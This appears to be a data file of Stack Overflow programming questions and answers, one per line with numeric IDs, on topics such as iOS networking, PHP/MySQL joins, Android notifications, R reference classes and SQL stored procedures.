1023374	0	 <p>NSURLConnection is great for getting a file from the web... It doesn't "wait" per se but its delegate callbacks:</p> <pre><code>- (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data - (void)connectionDidFinishLoading:(NSURLConnection *)connection </code></pre> <p>...allow you to be notified when data has been received and when the data has been completely downloaded. This way you can have the App show (if you like) a UIProgressBar as the data comes in and then handle the file as you please when it is completely received. </p>
28667150	0	 <p>I recommend a lambda (like <a href="http://stackoverflow.com/users/1885037/kaveish">kaveish's</a> <a href="http://stackoverflow.com/a/26770618/309334">answer</a>). But you can have it return a function that checks the appropriate bounds to make everything more readable.</p> <pre><code>auto in = [](int min, int max, char const * const opt_name){ return [opt_name, min, max](unsigned short v){ if(v &lt; min || v &gt; max){ throw opt::validation_error (opt::validation_error::invalid_option_value, opt_name, std::to_string(v)); } }; }; opt::value&lt;unsigned short&gt;()-&gt;default_value(5) -&gt;notifier(in(0, 10, "my_opt")); </code></pre>
36167031	0	 <p>Ok, I find out why!</p> <p>The 'print_endline' expect a string value, but the function 'String.[n]' returns a char.</p> <p>I just changed the 'print_endline' for 'print_char' and it worked.</p>
5992996	0	 <p>change</p> <pre><code>void sillyFunction(string * str, int cool){ counter++; if (cool){ for (int i=0; i&lt;counter; i++) cout &lt;&lt; *str &lt;&lt; endl; } else { cout &lt;&lt; *str &lt;&lt; endl; } } </code></pre> <p>to</p> <pre><code>void sillyFunction(const char* str, int cool){ counter++; if (cool){ for (int i=0; i&lt;counter; i++) cout &lt;&lt; str &lt;&lt; endl; } else { cout &lt;&lt; str &lt;&lt; endl; } } </code></pre>
21594775	0	code on a jpg image generated dynamically <p>While I was looking for some info, I came across this image on a forum which i didn't understood how it worked. Its a JPG image which actually tells you your ip address and your browser. I think that maybe it was made by modifying htacess and replacing PHP for JPG, and with PHP generating the image dynamically but I'm not sure about it.</p> <p>Would this be the way that this works?</p> <p>Here is the image i saw: <a href="http://www.danasoft.com/sig/475388.jpg" rel="nofollow">http://www.danasoft.com/sig/475388.jpg</a></p> <p>Thanks</p>
24579128	0	R slow assignment in setRefClass <p>Perhaps this question should be in some programming forum, but I thought I would ask it in the statistics community. The following code illustrates the problem when performing global assignment in R's setRefClass:</p> <pre><code>class &lt;- setRefClass("class", fields = list( params = "numeric" ), methods = list( initialize = function() { params &lt;&lt;- 5 }, do.stuff = function() { for (i in 1:1e5) params &lt;&lt;- 2 } )) # FAST: params &lt;- 5 time &lt;- Sys.time(); for (i in 1:1e5) params &lt;- 2; time &lt;- Sys.time() - time print(time) # SLOW: newclass &lt;- class$new() time &lt;- Sys.time(); newclass$do.stuff(); time &lt;- Sys.time() - time print(time) </code></pre> <p>And pqR shows a slight improvement in runtime, but nothing drastic.</p> <p>I would like to know why this is happening... in my mind, assigning a variable should be fast. Maybe this has something to do with locating an object "slot" (variable location), similar to S3/S4 classes. I bet I can only observe such behavior with R, and not C++.</p>
35235466	0	group by average on a list of objects in C# <p>I have a list of objects where object looks like below</p> <pre><code>public class Sample { public DateTime _dt; public decimal _d; public decimal_value; } </code></pre> <p>I want a list grouped by year and month of a date and _d values with _value averaged.</p> <p>So if for month Jan, list has </p> <pre><code>one set of 31 values with _d =1, one set of 31 values with _d =5 </code></pre> <p>result list of Sample will have two values </p> <pre><code>1/1/2016 ,_d = 1 and average of _value 1/1/2016 ,_d = 5 and average of _value </code></pre>
5470141	0	 <p>If this is only a timeout error, try putting set_time_limit(xx); on top of your code. With xx corresponding to the time to wait in seconds.</p> <p>Putting 0 means no time limit, but it may be endless if your script enters an infinite loop, of if it is waiting a feedback from your encoding command that never arrives...</p>
32575836	0	 <p>To clarify.</p> <p><strong>If you want to skip the re-review process, don't update the VERSION ("Bundle versions string, short" in the Info.plist file), update the BUILD ("Bundle version" in the Info.plist file)</strong> </p> <p>so instead of doing <code>0.1 (1) -&gt; 0.2 (1)</code> instead do <code>0.1 (1) -&gt; 0.1 (2)</code></p> <p>Submit your updated build and in iTunes Connect press "Submit for Beta App Review" and then check the box "Build Changes" as a NO.</p>
28789665	0	 <p>The following samples are all matched.</p> <pre><code>$samples = Array( 'what is 4+3', 'what is 2 plus 7', 'what is 3 * 2', 'what is 3x2', 'what is 4 times 2' ); foreach($samples as $sample) { $sample = preg_replace('/(times)|\*/', 'x', $sample); $sample = str_replace('plus', '+', $sample); preg_match('/what is \d ?[+x] ?\d/', $sample, $matches); var_dump($matches[0]); } </code></pre> <p>A bit nicer in JavaScript. Just including this for the fun of it.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var samples = [ 'what is 4+3', 'what is 2 plus 7', 'what is 3 * 2', 'what is 3x2', 'what is 4 times 2' ]; samples.forEach(function(sample) { sample = sample .replace(/(times)|\*/, 'x') .replace('plus', '+') ; var match = sample.match(/what is \d ?[+x] ?\d/); console.log(match); });</code></pre> </div> </div> </p>
15175227	0	ZK methode call when enter pressed <p>I have a textbox in zk. If I pressed tab call the onChanged event. What need I do for call onChange event when press enter? Currently when I press enter not happens anything at all.</p> <pre><code>&lt;textbox id="inputWord" width="200px" apply="com.wb.controlers.WBControler" /&gt; </code></pre> <p>WBControler.java (Extends GenericForwardComposer)</p> <pre><code>public void onChange$inputWord(Event event) throws Exception { Component c = event.getTarget(); if (c instanceof Textbox) { wordTextbox = (Textbox)c; } if (wordTextbox != null) { // do something } } </code></pre> <p>Thanks in advance. </p>
30384264	0	PHP, SQL Code not working <p>im ranning into some problems agian, and hope that your guys can help me.</p> <p>I have this code, that i can't get to work.</p> <p>see, the strange thing is, if i change</p> <pre><code>$query2 = mysqli_query($dblogin, "SELECT * FROM devices RIGHT JOIN repair ON devices.name = repair.modelid WHERE repair.modelid=$check"); </code></pre> <p>to</p> <pre><code>$query2 = mysqli_query($dblogin, "SELECT * FROM devices RIGHT JOIN repair ON devices.name = repair.modelid WHERE repair.modelid LIKE %iPad%"); </code></pre> <p>i will work, just fine :-/</p> <p>im really lost, and i tryed, to echo the $check, to see if there was an error in the $check variable. but thats works just fine.</p> <pre><code>&lt;div id="slidingDiv&lt;?=$row["id"] ?&gt;" class="toggleDiv row-fluid single-project"&gt; &lt;div class="span6"&gt; &lt;img src="adm/images/&lt;?=$row["image"] ?&gt;" alt="project &lt;?=$row["id"] ?&gt;" /&gt; &lt;/div&gt; &lt;div class="span6"&gt; &lt;div class="project-description"&gt; &lt;div class="project-title clearfix"&gt; &lt;h3&gt;&lt;?=$row["name"] ?&gt;&lt;/h3&gt; &lt;span class="show_hide close"&gt; &lt;i class="icon-cancel"&gt;&lt;/i&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class="project-info"&gt; &lt;?php $check = $row["name"]; $query2 = mysqli_query($dblogin, "SELECT * FROM devices RIGHT JOIN repair ON devices.name = repair.modelid WHERE repair.modelid=$check"); while($row = mysqli_fetch_assoc($query2)) { ?&gt; &lt;div&gt; &lt;span&gt;&lt;?=$row["price"] ?&gt; ,-&lt;/span&gt;&lt;?=$row["name"] ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;div&gt; &lt;span&gt;Client&lt;/span&gt;Some Client Name &lt;/div&gt; &lt;div&gt; &lt;span&gt;Date&lt;/span&gt;July 2013 &lt;/div&gt; &lt;div&gt; &lt;span&gt;Skills&lt;/span&gt;HTML5, CSS3, JavaScript &lt;/div&gt; &lt;div&gt; &lt;span&gt;Link&lt;/span&gt;http://examplecomp.com &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Believe in yourself! Have faith in your abilities! Without a humble but reasonable confidence in your own powers you cannot be successful or happy.&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>If i changes it, to this, it runs just fine</p> <pre><code>&lt;? $query = mysqli_query($dblogin, "select * from brands ORDER BY id"); while($row = mysqli_fetch_assoc($query)) { ?&gt; &lt;li class="filter" data-filter="&lt;?=$row["name"] ?&gt;"&gt; &lt;a href="#noAction"&gt;&lt;img class="aimg" style="height:50px;" src="adm/images/&lt;?=$row["image"] ?&gt;" /&gt;&lt;/a&gt; &lt;/li&gt; &lt;? } ?&gt; &lt;/ul&gt; &lt;!-- Start details for portfolio project 1 --&gt; &lt;div id="single-project"&gt; &lt;? $query = mysqli_query($dblogin, "select * from devices ORDER BY name DESC"); while($row = mysqli_fetch_assoc($query)) { ?&gt; &lt;div id="slidingDiv&lt;?=$row["id"] ?&gt;" class="toggleDiv row-fluid single-project"&gt; &lt;div class="span6"&gt; &lt;img src="adm/images/&lt;?=$row["image"] ?&gt;" alt="project &lt;?=$row["id"] ?&gt;" /&gt; &lt;/div&gt; &lt;div class="span6"&gt; &lt;div class="project-description"&gt; &lt;div class="project-title clearfix"&gt; &lt;h3&gt;&lt;?=$row["name"] ?&gt;&lt;/h3&gt; &lt;span class="show_hide close"&gt; &lt;i class="icon-cancel"&gt;&lt;/i&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class="project-info"&gt; &lt;?php $check = $row["name"]; $query2 = mysqli_query($dblogin, "select * from devices right join repair on devices.name = repair.modelid WHERE repair.modelid LIKE '%iPhone 6%'"); while($row = mysqli_fetch_assoc($query2)) { ?&gt; &lt;div&gt; &lt;span&gt;&lt;?=$row["price"] ?&gt; ,-&lt;/span&gt;&lt;?=$row["name"] ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;? } ?&gt; </code></pre> <p><strong>EDIT</strong></p> <pre><code>SELECT * FROM devices RIGHT JOIN repair ON devices.name = repair.modelid WHERE repair.modelid LIKE '%iPhone 6%' LIMIT 0 , 30 </code></pre> <p>Gives this result </p> <pre><code>id name brand image model-id id name modelid price brand date 7 iPhone 6 Apple iphone6_small.jpg 217 Front Glas Udskiftning iPhone 6 1300 1432215986 7 iPhone 6 Apple iphone6_small.jpg 218 Bagside (komplet) iPhone 6 2500 1432216016 7 iPhone 6 Apple iphone6_small.jpg 219 TÃ¦nd/sluk Udskiftning iPhone 6 500 1432216041 7 iPhone 6 Apple iphone6_small.jpg 220 Homeknap iPhone 6 500 1432216064 7 iPhone 6 Apple iphone6_small.jpg 221 Ã˜rehÃ¸jtaler iPhone 6 500 1432216085 7 iPhone 6 Apple iphone6_small.jpg 222 Ladestik iPhone 6 500 1432216107 7 iPhone 6 Apple iphone6_small.jpg 223 Batteri iPhone 6 500 1432216124 7 iPhone 6 Apple iphone6_small.jpg 224 Vibrator iPhone 6 500 1432216136 7 iPhone 6 Apple iphone6_small.jpg 225 Mikrofon iPhone 6 500 1432216165 7 iPhone 6 Apple iphone6_small.jpg 226 Kamera iPhone 6 500 1432216177 7 iPhone 6 Apple iphone6_small.jpg 227 HÃ¸jtaler (musik/lyd) iPhone 6 500 1432216191 7 iPhone 6 Apple iphone6_small.jpg 228 WIFI Antenne iPhone 6 500 1432218537 7 iPhone 6 Apple iphone6_small.jpg 229 Jackstik iPhone 6 500 1432218564 7 iPhone 6 Apple iphone6_small.jpg 230 Jailbreak iPhone 6 500 1432218593 7 iPhone 6 Apple iphone6_small.jpg 231 Bagside (komplet) iPhone 6 2500 1432218612 </code></pre>
39848722	0	 <p>You can't use <code>u.name</code> like that. <code>u</code> is just a name that exists in Elixir when compiling the query to SQL. It gets renamed while it is compiled. You need to add another <code>?</code> to <code>fragment</code> and pass <code>u.name</code> for that:</p> <pre><code>def search(query, search_term) do from u in query, where: fragment("to_tsvector(?) @@ plainto_tsquery(?)", u.name, ^search_term), order_by: fragment("ts_rank(to_tsvector(?), plainto_tsquery(?)) DESC", u.name, ^search_term) end </code></pre>
21142756	0	Safely push updates to app with a constantly running service <p>I have an app on Google Play that uses a constantly running service to perform a specified task. Due to the nature that it is always running unless the user disables it, this seems to have caused problems with some users when I pushed out my first update. Some users report they must clear the cache a data of the updated app before it works properly, and others must uninstall and reinstall the app completely.</p> <p>Is there a method whereby when users update my app, the old version is completely wiped away, before the new version is installed?</p> <p>Thank you. </p>
10283066	0	 <p>First of all, if I understood you, for what you want you are going to need jQuery, why? Because javascript doesn't know what CSS properties are affecting to an specific element.</p> <p>Second, the way you are using CSS is not the correct one, you are mixing desing and functionality and for the easiest task like this one you will encounter problems like this one. CSS is not intended to show or hide menus even if you can, CSS is to style things even dinamically but when the user interaction gets involved you are screwed. So be careful :P</p> <p>In jQuery should be something like this:</p> <pre><code>$(document)​.ready(function() { $('ul').on('click', 'li a', function() { $(this.parentElement.parentElement).hide(); }); });​ </code></pre> <p><a href="http://jsfiddle.net/5TBFr/25/" rel="nofollow">http://jsfiddle.net/5TBFr/25/</a></p>
31573817	0	Debugger not working in IE 11 F12 developer tools <p>My <kbd>F12</kbd> debugger in IE 11 is not working, it is just showing an empty window. Only the Network tab seems to work.</p> <p>We have been using Firefox until recently, environment changes have forced development to use IE.</p> <p>I've tried it on multiple pages and none are working.</p>
9242386	0	difference between output of sproc and functions <p>I have been asked this question in the technical interview.</p> <p>what is the difference between output of stored procedure and a function?</p> <p>Can anybody please explain this?</p>
20771147	0	 <p>Just add below code in your edit-text</p> <pre><code>android:hint="Your Text"; // XML </code></pre> <p>or even you can set it run time by using following code</p> <pre><code>EditText text = new (EditText) findviewbyid (R.id.text1); text1.setHint("Enter your message here"); </code></pre>
33730857	0	Batch-Rename heterogeneous file extensions to one extension <p>I have multiple files each with a different extension in a folder. I need to rename all of them to one extension (.txt).</p> <p><a href="https://i.stack.imgur.com/ScJII.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ScJII.jpg" alt="enter image description here"></a></p> <p>I have tried with the following command:</p> <pre><code>ren *.* "%fname%:~0,-3%.txt" </code></pre> <p>But I receive the following error:</p> <pre><code>A duplicate file name exists, or the file cannot be found. </code></pre> <p>In short I need to convert all files in a folder of miscellaneous types to one type(.txt)</p> <p>Please help. Thanks in Advance</p>
24805623	0	 <pre><code>$list = ['a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9']; $list2 = []; $c = 0; $temp_array = []; for ($i = 0; $i &lt; Count($list); $i++) { $c++; array_push($temp_array, $list[$i]); if ($c &gt;= 2) { array_push($list2, $temp_array); $temp_array = []; $c = 0; } } print_r($list2); echo '&lt;br /&gt;List2: ' . count($list2) . '&lt;br /&gt;List: ' . count($list); </code></pre> <p><strong>EDIT:</strong> or the solution which Mark Baker provided with the <a href="http://php.net/manual/en/function.array-chunk.php" rel="nofollow">array_chunk()</a> function. It's less code.</p>
25779194	0	Stored procedure if record exists then update <p>I'm trying to check if a record exists and then update it if it does</p> <p>Here is what I current have: (Which obviously does not work)</p> <pre><code> CREATE PROCEDURE dbo.update_customer_m @customer_id INT , @firstname VARCHAR(30) , @surname VARCHAR(30) , @gender VARCHAR(6) , @age INT , @address_1 VARCHAR(50) , @address_2 VARCHAR(50) , @city VARCHAR(50) , @phone VARCHAR(10) , @mobile VARCHAR(11) , @email VARCHAR(30) , AS IF EXISTS ( SELECT * FROM dbo.Customer WHERE CustID = @customer_id ) BEGIN UPDATE dbo.Customer SET Firstname = @firstname, Surname = @surname, Age = @age, Gender = @gender, Address1 = @address_1, Address2 = @address_2, City = @city, Phone = @phone, Mobile = @mobile, Email = @email WHERE CustID = @customer_id END </code></pre> <p>Is there a better way of doing this that works?</p>
8562314	0	 <p>There are 3 types of javascript popups:</p> <ol> <li>Alert - it has only "yes" button</li> <li>Confirmation - it has "yes" as well as "no" buttons</li> <li>Prompt - it has input area to write something and "yes" and "no" buttons</li> </ol> <p>You need to make sure which type of popup is shown and act accordingly.</p>
4890324	0	Controlling memory spikes when loading local (Office and iWork) files in UIWebView <p>I am using UIWebView to open local files of Office (ppt, xls, doc) and iWork (numbers, pages, key) formats, all less than 5 MB in size. To load them, I simply do:</p> <pre><code>NSURL *url = [NSURL fileURLWithPath:filepath]; NSURLRequest *requestObj = [NSURLRequest requestWithURL:url]; [myWebView loadRequest:requestObj]; </code></pre> <p>When loading some of these files in web view (especially ppts with large number of images in them), the memory usage shoots up to almost 35 MB causing my app to crash. I have looked around various iOS forums but haven't really found a solution. Does using loadData:MIMEType:textEncodingName:baseURL: help in keeping the memory footprint down or are there any other tricks to using UIWebView?</p>
6465424	0	 <p>does it have to be in MSI ? why not have a batch file (run.bat) and run your msi first followed by your app</p>
9701381	0	 <p>Look at the Pinax project's <a href="https://github.com/pinax/pinax/blob/master/pinax/apps/account/auth_backends.py" rel="nofollow">account auth_backends </a>, there it replaces with own one. I think Pinax code helps you while changing Django's authentication backend.</p>
25304616	0	 <p>It was expecting maybe like this</p> <pre><code>RULES_LIST = [ ('Name1', 1, 'Long string upto 40 chars'), ('Name2', 2, 'Long string upto 40 chars'), ('Name3', 3, 'Long string upto 40 chars'), ('Name4', 4, 'Long string upto 40 chars'), ('Name5', 5, 'Long string upto 40 chars'), ('Name6', 6, 'Long string upto 40 chars'), ('Name7', 7, 'Long string upto 40 chars'), ('Name8', 8, 'Long string upto 40 chars') ] </code></pre> <p>the closing square bracket.</p>
520527	0	Why do some claim that Java's implementation of generics is bad? <p>I've occasionally heard that with generics, Java didn't get it right. (nearest reference, <a href="http://stackoverflow.com/questions/457822/what-are-the-things-java-got-right">here</a>)</p> <p>Pardon my inexperience, but what would have made them better?</p>
18886672	0	How do I match the root of a content URI in Android 4.3? <p>I'd like to return some results when someone hits the root of my ContentProvider, which has worked fine up until now. As of Android 4.3, however, I cannot match the root! Here's everything I've tried, and nothing will work. This returns -1 under 4.3, but not under earlier versions.</p> <p>How do I match that URI?</p> <pre><code>private int testMatch(){ UriMatcher mUriMatcher = new UriMatcher(0); mUriMatcher.addURI("com.someone.app.provider.thingy", "/#", 0); mUriMatcher.addURI("com.someone.app.provider.thingy", "/", 1); mUriMatcher.addURI("com.someone.app.provider.thingy", "", 2); mUriMatcher.addURI("com.someone.app.provider.thingy", "/*", 3); mUriMatcher.addURI("com.someone.app.provider.thingy", "#", 4); mUriMatcher.addURI("com.someone.app.provider.thingy", "*", 5); mUriMatcher.addURI("com.someone.app.provider", "thingy", 6); Uri uri=Uri.parse("content://com.someone.app.provider.thingy"); return mUriMatcher.match(uri); } </code></pre>
36919775	0	Data Between Two Tables <p>Excuse any novice jibberish I may use to explain my conundrum but hopefully someone here will be able to look past that and provide me with an answer to get me unstuck.</p> <p><strong>SESSIONS</strong></p> <pre><code>+--------+---------+----------+ | id | appID | userID | +--------+---------+----------+ | 1 | 1 | 96 | +--------+---------+----------+ | 2 | 2 | 97 | +--------+---------+----------+ | 3 | 1 | 98 | +--------+---------+----------+ </code></pre> <p><strong>USERS</strong></p> <pre><code>+--------+---------+ | id | name | +--------+---------+ | 96 | Bob | +--------+---------+ | 97 | Tom | +--------+---------+ | 98 | Beth | +--------+---------+ </code></pre> <p>For each session in the Sessions table that has an appID of <code>1</code>, I want to get the users <code>name</code> from the Users table. The Sessions <code>userID</code> column is linked with the Users tables <code>id</code> column. </p> <p>So my desired result would be:</p> <pre><code>["Bob", "Beth"] </code></pre> <p>Any suggestions/help?</p>
23467355	0	mobile webpage navigation breaks on focus input type text <p>![enter image description here][1]At the moment i am writing media querys for smartphones. But there occured a strange problem, and i just can´t find anything about it online..</p> <p>So the problem is that My navigation which is</p> <pre><code> position:fixed; top:0; left:0; ... </code></pre> <p>So everything seem to work but when i click on an input field and the mobile keyboard pops up the navigation bar keeps at it current point even if i scroll on.. So it seem the page got kind of "frozen" and the nav does not trigger any new</p> <pre><code> top:0; left:0; </code></pre> <p>Could someone give me a hind how to fix this? ... </p> <p><img src="https://i.stack.imgur.com/Vvnj1.png" alt="Normal fixed top:0; left:0;"></p> <p><img src="https://i.stack.imgur.com/mn7I1.png" alt="when the keyboard occurs the nav stays at it current position _&gt; when you do scroll up now.. the navigationbar will leave the window after a while"></p>
18266556	0	 <p><a href="http://jsfiddle.net/cse_tushar/JENyF/1" rel="nofollow"><strong>DEMO</strong></a></p> <pre><code>function showValues() { var str = $('#form1').clone(); $.each(str[0], function (i, val) { var str_new = '&lt;pre&gt;' + str[0][i] + '&lt;/pre&gt;'; if (str_new === '&lt;pre&gt;[object HTMLSelectElement]&lt;/pre&gt;') { str[0][i].disabled = 'true'; } }); var str_serialize = str.serialize(); $('#test').text(str_serialize); console.log(str_serialize); } $('#sbt').click(function () { showValues(); }); </code></pre> <p>new <code>var str</code> clone of the <code>form</code> with id <code>form1</code></p> <p>used <code>$.each()</code> to loop around the array of clone variable </p> <p>using <code>'&lt;pre&gt;' + str[0][i] + '&lt;/pre&gt;'</code> these tags it returns like for select tag <code>&lt;pre&gt;[object HTMLSelectElement]&lt;/pre&gt;</code> object type</p> <p>if <code>&lt;pre&gt;[object HTMLSelectElement]&lt;/pre&gt;</code> is matched then i <code>disabled</code> it in the clone</p> <p>in the end i used <code>serialize()</code> to the clone and it worked.</p>
30176918	0	handling button click in notification <p>I have got a notification with one Button and I want to do something, when I click the button of the notification. </p> <p>Is there a possibility like <code>OnClickListener</code> to handle that?</p> <p>Here is the code for the notification: </p> <pre><code> private void notification_anzeigen(){ Intent intent = new Intent(this, GestureAnyWhere.class); // String notificationMessage = "GestureAnyWhere läuft im Hintergrund"; // intent.putExtra("NotificationMessage", notificationMessage); // intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_CLEAR_TOP); PendingIntent pIntent = PendingIntent.getActivity(this, 0, intent, 0); // build notification // the addAction re-use the same intent to keep the example short Notification n = new Notification.Builder(this) .setContentTitle("GestureAnyWhere läuft im Hintergrund") //.setContentText("GestureAnyWhere muss im Hintergrund ausgeführt werden, um Gesten zu erkennen") .setSmallIcon(R.drawable.ic_launcher) // muss rein, ansonsten wird keine Notifikation angezeigt .setContentIntent(pIntent) .addAction(R.drawable.ic_launcher, "Plus-Button", pIntent) .setStyle(new Notification.BigTextStyle().bigText("Auf den Plus-Button drücken, um auf aktueller Seite Gesten zu erkennen")) .setAutoCancel(true).build(); n.setLatestEventInfo(getApplicationContext(), "Plus-Button", "neu", pIntent); NotificationManager notificationManager = (NotificationManager)getSystemService(NOTIFICATION_SERVICE); notificationManager.notify(0, n); } </code></pre> <p>Sorry that the question isn't clear. So I try to specifiy it a little bit better:</p> <ul> <li>I have got a background service which starts, when I minimize my application</li> <li>when the service is starting, a new notification will be shown to inform the user, that the application works in background now</li> <li>The background service shall be there in order to detect gestures, which are drawn outside the application </li> <li>When I click onto the notification and the application starts again, the service shall be stoped (otherwise I can draw inside my application and not click onto something anymore) -> so that is the first point I want to do: stop a background service, when I click onto the notification </li> <li>When I mimimize my application and start the service I am only able to draw onto the homescreen right now -> so that is the second point I want to do: when the user click onto a button under the notification an Activity shall be called in order that the user could draw on the current View</li> </ul> <p>Because I only want to know how a click onto a notification (or a Button under the notification) is handled in generally I don't provide the code for the service and all other stuff. </p> <p>I hope the question and what I want to do is a little bit clearer. </p> <p>Thanks a lot. </p>
16714469	0	How to cleanup an SVN checkout with lots of locks in externals <p>At the moment <code>svn cleanup</code> doesn't go into externals according to this <a href="http://subversion.tigris.org/issues/show_bug.cgi?id=2325" rel="nofollow">bug</a>. What's the best way to remove all the checkout locks from a project and all it's externals?</p>
22647715	0	 <p>This is a synchronous request. Try using the below code to this the server synchronously. At least this will make sure everything is running fine. responseData can be written in a file to see the response.</p> <pre><code>NSURL *url = [NSURL URLWithString:@"http://127.0.0.1:8080/Jersey/rest/hello"]; NSURLResponse *urlResponse = nil; NSData *responseData = nil; NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url]; [request setHTTPMethod:@"GET"]; [request addValue:@"text/html; charset=UTF-8" forHTTPHeaderField:@"Content-Type"]; responseData = [NSURLConnection sendSynchronousRequest:request returningResponse:&amp;urlResponse error:&amp;theError]; </code></pre>
39898196	0	 <pre><code>&lt;?php $Student = array(array("Adam",10,10,10), array("Ricky",10,11,10), array("Bret",15,14,10), array("Ram",14,17,10) ); for($i=0;$i&lt;=3;$i++){ for($j=0;$j&lt;=3;$j++){ print_r($Student[$i][$j]); echo "&lt;br&gt;"; } } ?&gt; </code></pre>
36640380	0	How to make my android app downloadable from Facebook page <p>I am making one android app and I want to post one advertisement on Facebook page that will have one video regarding my app and a link to download my android app. The user should be able to see the advertisement with video and if he wish to download my android app then after click on given link it should go to Play Store and will be able to download the app.</p> <p>Anyone please help me to do this. How I can do this ?. I don't have any idea.</p> <p>Thanks in advance.</p>
19974279	0	 <p>no there isn't ready made code. we wrote our own solution and I know of a few other ones.. the MAP you use really doesn't matter.</p> <p>the grouping can happen 'on the model'</p>
30620268	0	 <p>I think that you can not do a release of a project which depends on projects in Snapshot version.</p> <p>Maybe this could help to configure your pom.xml</p> <p><a href="http://stackoverflow.com/questions/245932/how-to-release-a-project-which-depends-on-a-3rd-party-snapshot-project-in-maven">how to release a project which depends on a 3rd party SNAPSHOT project in maven</a></p>
37397863	0	 <p>Accordion behavior is dependent on the <code>panel</code> class (<a href="http://getbootstrap.com/javascript/#collapse-options" rel="nofollow">http://getbootstrap.com/javascript/#collapse-options</a>). So the immediate child of the parent <code>#sidebar-admin</code> must be a <code>.panel</code>..</p> <p><a href="http://www.codeply.com/go/Zq1utEY3dV" rel="nofollow">http://www.codeply.com/go/Zq1utEY3dV</a></p> <pre><code>&lt;ul id="sidebar-admin" class="nav collapse"&gt; &lt;li class="panel"&gt; &lt;a class="users collapsed sidebar-subparent" data-toggle="collapse" data-parent="#sidebar-admin" href="#sidebar-users"&gt; &amp;nbsp; &amp;nbsp;&lt;i class="fa fa-user" style="margin-right: 15px; margin-left: 2px;"&gt;&lt;/i&gt;Users&lt;/a&gt; &lt;ul id="sidebar-users" class="nav collapse"&gt; &lt;li class="sidebar-element"&gt; ... </code></pre>
22078275	0	Second prepared statement is not firing <p>thanks for your time.</p> <p>Below I have two prepared statements, query &amp; query2;</p> <p>con is the connection var</p> <p>The first query is running perfectly and updating the database.</p> <p>The second query is not updating anything, although it is not giving any error.</p> <p>When I look at the second query that is logged after a "successful" run, the inserted variable is looking like an empty string. i.e. <code>RESTI</code>=''</p> <p>Why is this happening? Is my code in the right order for the second query to run?</p> <pre><code>$row = 1; $con=mysqli_connect("connect info"); if (mysqli_connect_errno()) { //echo "Failed to connect to MySQL Error 1: " . mysqli_connect_error(); //error reporting done here } else { $con-&gt;autocommit(false); $query = $con-&gt;prepare("UPDATE table where `INDEX`=?"); $query2 = $con-&gt;prepare("UPDATE table2 where (SELECT column from table where`RESTI`=?)"); $query-&gt;bind_param('i', $row); $query2-&gt;bind_param('i', $row); if($query-&gt;execute() == false) { //Failed! /ERROR HANDLING } else { //SUCCESS } if($query2-&gt;execute() == false) { //Failed! /ERROR HANDLING } else { //Success } $con-&gt;commit(); $query-&gt;close(); $query-&gt;close(); } mysqli_close($con); </code></pre>
31296857	0	unsorted matrix search algorithm <p>is there a suitable algorithm that allows a program to search through an unsorted matrix in search of the biggest prime number within. The matrix is of size m*n and may be populated with other prime numbers and non-primes. The search must find the biggest prime.</p> <p>I have studied the divide and conquer algorithms, and binary trees, and step-wise searches, but all of these deal with sorted matrices. </p>
1050683	0	 <p>One possible solution would be to simply hide the <code>SiteMapPath</code> control on the home page:</p> <pre><code>mySiteMapPath.Visible = (SiteMap.CurrentNode != SiteMap.RootNode); </code></pre>
33399655	0	 <p>Your question seems unclear, but I suppose that you are asking how to load another layout/activity/fragment by clicking on a button.</p> <p>Well, it depends on which of the three actions you want to do:</p> <p>1) in order to load another layout, you need to inflate the new layout in your view; in order to do that you need to clear the actual layout and inflate the new one. Here's some sample code:</p> <pre><code>//you may change it to whichever layout you used LinearLayout ll = (LinearLayout) findViewById(R.id.mainLayout); //remove previous view ll.removeAllViews(); //set the new view setContentView(R.layout.new_layout); </code></pre> <p>2) in case you want to start a new activity, you need to use a Intent and load it. Sample code:</p> <pre><code>//create the new intent; it will refer to the new activity Intent intent = new Intent(this, NewActivity.class); //pass any data to the new activity; cancel this line if you don't need it intent.putExtra(extra_title, extra) //start the new activity startActivity(intent); </code></pre> <p>3) in case you want to change fragment, you need to perform a transaction. Sample code:</p> <pre><code>//create the new fragment Fragment newFragment = new MyFragment(); //start a fragment transaction FragmentTransaction transaction = getSupportFragmentManager().beginTransaction(); //replace the old fragment with the new transaction.replace(R.id.frame, newFragment).commit(); </code></pre> <p>Hope this helps; if not, try to edit your question in order to clarify what you mean.</p> <hr> <p><strong>EDIT:</strong></p> <p>You should add a new OnClickListener to each button, but I would do it differently than you are doing right now. I would do something like this sample code:</p> <pre><code>buttonWRGL.setOnClickListener(new Button.OnClickListener() { public void onClick(View v) { Intent intent = new Intent(this, NewActivity1.class); startActivity(intent); } }); </code></pre> <p>For each button. In this code, I directly attach a specific OnClickListener to the button; it will contain the intent that you need. You can copy this in every button, even 10k buttons, you just need to change the activity name inside the intent declaration with the activity that you want to launch.</p>
26119309	0	 <p>A validation is a check that the value entered is legitimate for the context of its field (from technical perspective), for example: is 5 as a numeric value acceptable for Age(v.s. -5)?, while -5 is acceptable as Temperature for example.</p> <p>The business rule is more of a business perspective. It is a check that the values (that passed the validation) are acceptable by the policies and procedures of the business. E.g. the person who is allowed to register has to be a resident, and 18 years old or more..etc. The business rule might check one (or more) field(s) value(s), and might consult data stored in a database and/or do some calculation(s) to ensure that the value(s) pass the business rules.</p> <p>So, for the example posted above by hanna, the value 15 should pass the field validation (as it is a valid value for Age), but it will not pass the business rule check that the married person's age must be >15.</p>
